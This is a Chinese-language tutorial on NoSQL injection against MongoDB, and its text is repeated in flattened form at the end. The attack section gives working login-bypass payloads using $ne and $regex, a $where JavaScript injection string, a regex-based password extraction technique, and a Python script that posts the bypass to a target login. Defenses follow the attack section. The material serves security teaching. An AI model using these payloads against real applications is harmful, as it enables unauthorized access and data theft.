NoSQL注入漏洞与防护(进阶篇)
字数 1170 2025-11-26 01:30:18

NoSQL注入漏洞与防护(进阶篇)

1. 漏洞描述

NoSQL注入是一种针对非关系型数据库(如MongoDB、Cassandra、Redis等)的注入攻击。与传统SQL注入不同,NoSQL注入利用的是应用程序对用户输入的不安全处理,通过操纵查询语法(如JSON、BSON)或运算符(如$ne, $gt)来绕过认证、泄露数据或篡改数据库。常见场景包括登录绕过、数据提取或任意命令执行。


2. 漏洞原理与攻击方式

关键问题:应用程序未对用户输入进行过滤或类型检查,直接将用户输入拼接到NoSQL查询中。

示例场景(以MongoDB为例)
假设登录查询代码如下(Node.js + MongoDB):

db.users.findOne({ 
  username: req.body.username, 
  password: req.body.password 
});

攻击者可通过以下方式绕过登录:

  1. 运算符注入

    • 输入username=admin&password[$ne]=123,查询被解析为:
      { "username": "admin", "password": { "$ne": "123" } }
      
    • 含义:查询password字段不等于"123"的记录,若admin用户存在,则返回该用户记录,实现登录绕过。
  2. 正则表达式注入

    • 输入username[$regex]=.*&password[$ne]=,匹配任意用户名并绕过密码检查。
  3. 逻辑操作符滥用

    • 使用$where子句执行JavaScript代码(若开启):
      { "$where": "this.password === '"+userInput+"'" }
      
      攻击者可通过输入' || 1==1 //注入代码。

3. 攻击演示(循序渐进)

步骤1:识别注入点

  • 检测输入点:登录表单、API参数、过滤条件等。
  • 尝试输入特殊字符(如'{$)观察错误回显或行为异常。

步骤2:构造Payload

  • 绕过认证
    POST /login HTTP/1.1
    Content-Type: application/json
    
    {
      "username": "admin",
      "password": { "$ne": "invalid" }
    }
    
  • 提取数据
    利用$regex逐字符判断密码:
    { "password": { "$regex": "^a" } }  // 测试密码首字母是否为a
    

步骤3:自动化利用

  • 工具:NoSQLMap、Burp Suite扩展(如NoSQLi插件)。
  • 脚本示例(Python):
    import requests
    payload = {"username": "admin", "password": {"$ne": ""}}
    response = requests.post("http://target/login", json=payload)
    if "Welcome" in response.text:
        print("登录绕过成功!")
    

4. 防护方案

4.1 输入验证与过滤

  • 严格类型检查:确保输入为预期类型(如字符串而非对象)。

    // 错误:直接使用req.body
    // 正确:强制转换类型
    const username = String(req.body.username);
    const password = String(req.body.password);
    
  • 黑名单过滤:禁止查询中包含运算符(如$__)。

  • 白名单验证:仅允许特定字符(如字母数字)。

4.2 参数化查询

  • 使用ORM(如Mongoose)的安全方法:
    // 错误:拼接查询
    db.users.findOne({ username: userInput });
    // 正确:使用ORM封装
    UserModel.findOne({ username: userInput }); // ORM自动转义
    

4.3 最小权限原则

  • 数据库用户仅赋予必要权限(禁止dbAdmin角色用于应用查询)。

4.4 启用安全配置

  • MongoDB禁用服务器端JavaScript执行(noscripting模式)。
  • 使用网络隔离限制数据库直接暴露。

4.5 日志与监控

  • 记录异常查询(如包含运算符的请求)。
  • 部署WAF规则检测NoSQL注入模式。

5. 总结

NoSQL注入通过滥用查询语法绕过防护,核心在于输入验证缺失类型混淆。防护需结合白名单验证、参数化查询和最小权限原则,同时针对不同数据库(如MongoDB、Cassandra)调整策略。

NoSQL注入漏洞与防护(进阶篇) 1. 漏洞描述 NoSQL注入是一种针对非关系型数据库(如MongoDB、Cassandra、Redis等)的注入攻击。与传统SQL注入不同,NoSQL注入利用的是应用程序对用户输入的不安全处理,通过操纵查询语法(如JSON、BSON)或运算符(如 $ne , $gt )来绕过认证、泄露数据或篡改数据库。常见场景包括登录绕过、数据提取或任意命令执行。 2. 漏洞原理与攻击方式 关键问题:应用程序未对用户输入进行过滤或类型检查,直接将用户输入拼接到NoSQL查询中。 示例场景(以MongoDB为例) : 假设登录查询代码如下(Node.js + MongoDB): 攻击者可通过以下方式绕过登录: 运算符注入 : 输入 username=admin&password[$ne]=123 ,查询被解析为: 含义:查询 password 字段不等于 "123" 的记录,若 admin 用户存在,则返回该用户记录,实现登录绕过。 正则表达式注入 : 输入 username[$regex]=.*&password[$ne]= ,匹配任意用户名并绕过密码检查。 逻辑操作符滥用 : 使用 $where 子句执行JavaScript代码(若开启): 攻击者可通过输入 ' || 1==1 // 注入代码。 3. 攻击演示(循序渐进) 步骤1:识别注入点 检测输入点:登录表单、API参数、过滤条件等。 尝试输入特殊字符(如 ' 、 { 、 $ )观察错误回显或行为异常。 步骤2:构造Payload 绕过认证 : 提取数据 : 利用 $regex 逐字符判断密码: 步骤3:自动化利用 工具:NoSQLMap、Burp Suite扩展(如 NoSQLi 插件)。 脚本示例(Python): 4. 防护方案 4.1 输入验证与过滤 严格类型检查 :确保输入为预期类型(如字符串而非对象)。 黑名单过滤 :禁止查询中包含运算符(如 $ 、 __ )。 白名单验证 :仅允许特定字符(如字母数字)。 4.2 参数化查询 使用ORM(如Mongoose)的安全方法: 4.3 最小权限原则 数据库用户仅赋予必要权限(禁止 dbAdmin 角色用于应用查询)。 4.4 启用安全配置 MongoDB禁用服务器端JavaScript执行( noscripting 模式)。 使用网络隔离限制数据库直接暴露。 4.5 日志与监控 记录异常查询(如包含运算符的请求)。 部署WAF规则检测NoSQL注入模式。 5. 总结 NoSQL注入通过滥用查询语法绕过防护,核心在于 输入验证缺失 和 类型混淆 。防护需结合白名单验证、参数化查询和最小权限原则,同时针对不同数据库(如MongoDB、Cassandra)调整策略。